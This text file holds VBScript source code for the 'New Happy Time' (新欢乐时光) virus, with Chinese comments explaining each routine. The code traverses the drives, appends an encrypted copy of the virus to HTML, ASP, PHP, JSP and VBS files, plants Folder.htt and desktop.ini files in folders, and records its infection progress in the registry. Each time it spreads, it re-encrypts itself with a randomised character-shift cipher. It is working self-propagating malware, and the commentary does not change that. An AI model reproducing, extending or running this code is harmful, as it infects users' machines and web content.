newhappytime.txt

新欢乐时光源码

'    功能：遍历并返回目录路径 
'    参数： 
'        CurrentString    当前目录 
Function KJOboSub(CurrentString) 
    SubE = 0 
    TestOut = 0 
    Do While True 
        TestOut = TestOut + 1 
        If TestOut > 28 Then 
            CurrentString = FinalyDisk & ":\" 
            Exit Do 
        End If 
        On Error Resume Next 
        '    取得当前目录的所有子目录，并且放到字典中 
        Set ThisFolder = FSO.GetFolder(CurrentString) 
        Set DicSub = CreateObject("Scripting.Dictionary") 
        Set Folders = ThisFolder.SubFolders 
        FolderCount = 0 
        For Each TempFolder in Folders 
            FolderCount = FolderCount + 1 
            DicSub.add FolderCount, TempFolder.Name 
        Next 
        '    如果没有子目录了，就调用KJChangeSub返回上一级目录或者更换盘符，并将SubE置1 
        If DicSub.Count = 0 Then 
            LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
            SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
            CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
            SubE = 1 
        Else 
        '    如果存在子目录 
        '        如果SubE为0，则将CurrentString变为它的第1个子目录 
            If SubE = 0 Then 
                CurrentString = CurrentString & DicSub.Item(1) & "\" 
                Exit Do 
            Else 
        '        如果SubE为1，继续遍历子目录，并将下一个子目录返回 
                j = 0 
                For j = 1 To FolderCount 
                    If LCase(SubString) = LCase(DicSub.Item(j)) Then 
                        If j < FolderCount Then 
                            CurrentString = CurrentString & DicSub.Item(j+1) & "\" 
                            Exit Do 
                        End If 
                    End If 
                Next 
                LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
                SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
                CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
            End If 
        End If 
    Loop 
    KJOboSub = CurrentString 
End Function 

'    函数：KJPropagate() 
'    功能：病毒传播 
Function KJPropagate() 
    On Error Resume Next 
    RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" 
    DiskDegree = WsShell.RegRead(RegPathvalue) 
    '    如果不存在Degree这个键值，DiskDegree则为FinalyDisk盘 
    If DiskDegree = "" Then 
        DiskDegree = FinalyDisk & ":\" 
    End If 
    '    继DiskDegree置后感染5个目录 
    For i=1 to 5 
        DiskDegree = KJOboSub(DiskDegree) 
        KJummageFolder(DiskDegree) 
    Next 
    '    将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中 
    WsShell.RegWrite RegPathvalue,DiskDegree 
End Function 

'    函数：KJummageFolder(PathName) 
'    功能：感染指定目录 
'    参数： 
'        PathName     指定目录 
Function KJummageFolder(PathName) 
    On Error Resume Next 
    '    取得目录中的所有文件集 
    Set FolderName = FSO.GetFolder(PathName) 
    Set ThisFiles = FolderName.Files 
    HttExists = 0 
    For Each ThisFile In ThisFiles 
        FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) 
        '    判断扩展名 
        '        若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 
        '        若是VBS则向文件中追加VBS版的病毒体 
        '        若是HTT,则标志为已经存在HTT了 
        If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then 
            Call KJAppendTo(ThisFile.Path,"html") 
        ElseIf FileExt = "VBS" Then 
            Call KJAppendTo(ThisFile.Path,"vbs") 
        ElseIf FileExt = "HTT" Then 
            HttExists = 1 
        End If 
    Next 
    '    如果所给的路径是桌面，则标志为已经存在HTT了 
    If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then 
        HttExists = 1 
    End If 
    '    如果不存在HTT 
    '        向目录中追加病毒体 
    If HttExists = 0 Then 
        FSO.CopyFile WinPath & "system32\desktop.ini",PathName 
        FSO.CopyFile WinPath & "web\Folder.htt",PathName 
    End If 
End Function 

'     函数KJSetDim() 
'         定义FSO,WsShell对象 
'         取得最后一个可用磁盘卷标 
'         生成传染用的加密字串 
'         备份系统中的web\folder.htt和system32\desktop.ini 
Function KJSetDim() 
    On Error Resume Next 
    Err.Clear 

    '     测试当前执行文件是html还是vbs 
    TestIt = WScript.ScriptFullname 
    If Err Then 
        InWhere = "html" 
    Else 
        InWhere = "vbs" 
    End If 
    
    '     创建文件访问对象和Shell对象 
    If InWhere = "vbs" Then 
        Set FSO = CreateObject("Scripting.FileSystemObject") 
        Set WsShell = CreateObject("WScript.Shell") 
    Else 
        Set AppleObject = document.applets("KJ_guest") 
        AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") 
        AppleObject.createInstance() 
        Set WsShell = AppleObject.GetObject() 
        AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") 
        AppleObject.createInstance() 
        Set FSO = AppleObject.GetObject() 
    End If 
    Set DiskObject = FSO.Drives 
    '     判断磁盘类型 
    ' 
    '     0: Unknown 
    '     1: Removable 
    '     2: Fixed 
    '     3: Network 
    '     4: CD-ROM 
    '     5: RAM Disk 
    '     如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵，如果C:是RAMDISK会怎么样？ 
    For Each DiskTemp In DiskObject 
        If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then 
            Exit For 
        End If 
        FinalyDisk = DiskTemp.DriveLetter 
    Next 
    
    '     此前的这段病毒体已经解密，并且存放在ThisText中，现在为了传播，需要对它进行再加密。 
    '     加密算法 
    Dim OtherArr(3) 
    Randomize 
    '     随机生成4个算子 
    For i=0 To 3 
        OtherArr(i) = Int((9 * Rnd)) 
    Next 
    TempString = "" 
    For i=1 To Len(ThisText) 
        TempNum = Asc(Mid(ThisText,i,1)) 
        '对回车、换行(0x0D,0x0A)做特别的处理 
        If TempNum = 13 Then 
            TempNum = 28 
        ElseIf TempNum = 10 Then 
            TempNum = 29 
        End If 
        '很简单的加密处理，每个字符减去相应的算子，那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。 
        TempChar = Chr(TempNum - OtherArr(i Mod 4)) 
        If TempChar = Chr(34) Then 
            TempChar = Chr(18) 
        End If 
        TempString = TempString & TempChar 
    Next 
    '     含有解密算法的字串 
    UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)" 
    '     将加密好的病毒体复制给变量 ThisText 
    ThisText = "ExeString = """ & TempString & """" 
    '     生成html感染用的脚本 
    HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>" 
    '     生成vbs感染用的脚本 
    VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()" 
    '     取得Windows目录 
    '     GetSpecialFolder(n) 
    '         0:     WindowsFolder 
    '         1:     SystemFolder 
    '         2:     TemporaryFolder 
    '     如果系统目录存在web\Folder.htt和system32\desktop.ini，则用kjwall.gif文件名备份它们。 
    WinPath = FSO.GetSpecialFolder(0) & "\" 
    If (FSO.FileExists(WinPath & "web\Folder.htt")) Then 
        FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif" 
    End If 
    If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then 
        FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif" 
    End If 
End Function